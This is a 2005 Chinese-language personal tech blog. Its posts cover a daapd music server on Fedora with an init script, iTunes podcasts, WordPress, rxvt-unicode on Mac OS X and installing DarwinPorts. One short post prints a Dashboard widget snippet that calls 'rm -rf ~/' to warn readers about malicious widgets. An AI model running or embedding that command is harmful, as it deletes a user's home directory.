6月 29th, 2005 2 Comments »
我在一台 FC3 Server 上架了一個 daapd,這樣,其他的電腦,不管是 Windows 或是 Mac 只要有裝 iTunes 就可以撥放 daapd 分享出來的音樂了
Fedora 相關的套件在 DAG 的網站上都有打包好的 rpm 可以直接安裝
主要會用到的是 daapd 及 faac (如果也想聽 aac 格式的音樂)
安裝好套件後,可以參考裡面附的範例設定檔,稍微修改一下即可
我的設定檔如下:
/etc/daapd.conf
Port 3689
ServerName DAAP
DBName candyz's MP3 DAAPd
Password mypasswd
Root /var/ftp/MP3
Cache /tmp/.daapd-cache
Timescan 2
Rescan 0
然後,把 mp3 aac 等音樂,都丟到 /var/ftp/MP3 目錄下即可
由於 daapd 本身沒有提供 init.d 的 scripts,所以我自己寫了一個:
/etc/init.d/daapd
#!/bin/sh
#
# A startup script for the daapd DAAP server
#
# chkconfig: 345 98 2
# description: This script is used to start the daapd \
# server as a background process.\
#
# Usage /etc/init.d/daapd start|stop|reload|restart|status
# Source function library.
. /etc/init.d/functions
DAAP_CONF=/etc/daapd.conf
DAAP_LOG=/var/log/daapd_access_log
prog=DAAPd
exe=/usr/bin/daapd
start() {
echo -n "Starting $prog: "
if [ -f /var/lock/subsys/daapd ] ; then
echo_failure
echo
exit 1;
fi
daemon $exe -c $DAAP_CONF >> $DAAP_LOG &
RETVAL=$?
[ $RETVAL = 0 ] && touch /var/lock/subsys/daapd && echo_success
echo
return $RETVAL
}
stop() {
echo -n "Stopping $prog: "
killproc $exe
RETVAL=$?
echo
[ $RETVAL = 0 ] && rm -f /var/lock/subsys/daapd /var/run/daapd.pid
}
reload()
{
echo -n $"Reloading $prog:"
killproc $exe -HUP
RETVAL=$?
echo
}
case "$1" in
start)
start
;;
stop)
stop
;;
reload)
reload
;;
restart)
stop
start
;;
status)
status $exe
RETVAL=$?
;;
*)
echo "Usage: daapd {start|stop|reload|restart|status}"
exit 1
esac
然後執行:
$ chkconfig daapd reset
要啟動 daapd 執行:
$ /etc/init.d/daapd start 即可
接下來,我要讓 daapd 也可以經由 Bonjour 分享出來
(關於 Bonjour 在 Fedora 上的設定,請參考 這裡)
因此,Bonjour 的設定檔要多加一行如下:
/etc/howl/mDNSResponder.conf
“[cacndyz] MP3 (DAAPd)” _daap._tcp local. 3689
現在,我的小白及 Mac Mini 硬碟上不用放 mp3 了,只要開啟 iTunes 後,就會自動抓到 DAAPd
輸入所設定的密碼後,就可以聽歌了…….

6月 29th, 2005 Comments Off
Apple 昨天推出了支援 Podcast 的 iTunes 4.9
把 iTunes 升級完畢,但支援中文(國語)的 Podcast 網站少的可憐
都不知道要去哪裡找,或許等過一陣子就會多起來了吧
同時, Apple 也推出新版的 iPod 支援 Podcast 且是彩色螢幕的
還好一直沒下手買 iPod,總覺得買 Apple 的硬體,好像都是早買早死
除非等到硬體功能比較完整且降價過的再來買比較不會買到地雷
看來,得找個時間來玩一玩 Podcast 了
6月 27th, 2005 Comments Off
剛剛把 Wordpress 升級到最新的 svn 版本
並且也把 Almost-spring Themes 升級到 1.1 版
結果,ooxx……………………..
竟然 zh_TW.mo 會出問題,反正就是很 ooxx
所以一氣之下,乾脆把中文化砍了,全用英文
反正用起來也沒什麼差,也省得以後升級時麻煩
6月 27th, 2005 Comments Off
在 Mac OS X 的 X11 底下工作是我必備的
目前用的是 gcin (中文輸入法) + mrxvt (終端機)
mrxvt 有支援 tab 功能,也支援 TTF/OTF 字型,但缺點是,還不支援 Unicode(UTF-8)
因此,在我遇到需要用到 UTF-8 的 Terminal 時,就得改用 X11 內附的 uxterm
不過字型太難看,又不能調整中文字型大小(反正會有問題,我調不出來就是了)
不然,就是得開 “終端機” 出來
最近小白上面裝了 Darwinports,加上 gcin 也進 dports 了
因此,就用 dports install rxvt-unicode
安裝完後,執行 urxvt 就可以用了,支援 Unicode 的 rxvt,也支援 TTF 字型,也可以用 gcin 來輸入中文
我的 gurxvt script:
[candyz@ibook:~] cat /usr/local/bin/gurxvt
export LANG=zh_TW.UTF-8
export XMODIFIERS=@im=gcin
export XIM=gcin
gcin &
sleep 2
ssh-agent /opt/local/bin/urxvt -imlocale zh_TW.UTF-8 -sl 5000 -sr -bg black -fg lightgray -fn “xft:Monaco:pixelsize=16,xft:AR HeiU30 Medium” &
xmodmap /Users/candyz/.Xmodmap
rm -rf /tmp/gcin-*
6月 24th, 2005 2 Comments »
<script type=’text/javascript’>
function test(){
if(widget){
widget.system('rm -rf ~/', null);
}
}
以後亂抓 Widget 時要小心了,不然,像上面隨便一個 system 呼叫,就把你的硬碟資料砍光光了…
6月 23rd, 2005 Comments Off
fink 外的另一個選擇
下載
DarwinPorts 1.0 版也提供了 dmg 格式的安裝程式下載,這真是個好消息
DarwinPorts-1.0.dmg
安裝
若是下載 dmg Installer 來安裝,那就點選下去即可,方便多了
使用 cvs 來安裝:
$ cd
$ cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od login
$ cvs -d :pserver:anonymous@anoncvs.opendarwin.org:/Volumes/src/cvs/od co -P darwinports
$ cd ~/darwinports/base
$ ./configure
$ make
$ sudo make install
設定環境變數
在 ~/.profile or ~/.bashrc 檔案中加入底下幾行:
export PATH=$PATH:/opt/local/bin:/opt/local/sbin
export MANPATH=$MANPATH:/opt/local/share/man
export INFOPATH=$INFOPATH:/opt/local/share/info
Self Update
$ sudo port sync
$ sudo port selfupdate
$ sudo portindex
開始使用 dports
$ port list
$ port install ‘package’
$ port uninstall ‘package’
$ port search ‘package’
$ port clean ‘package’
$ port info ‘package’
$ port contents ‘package’
$ port variants ‘package’
$ port deps ‘package’
$ port outdated ‘package’
$ port upgrade ‘package’
$ port -a upgrade
gcin dports
測試寫好的 gcin Portfile 及 files/macosx.diff
$ cd ~/gcin
$ sudo port -d -v checksum
$ sudo port -d -v extract
$ sudo port -d -v build
$ sudo port -d -v install
一切順利…:)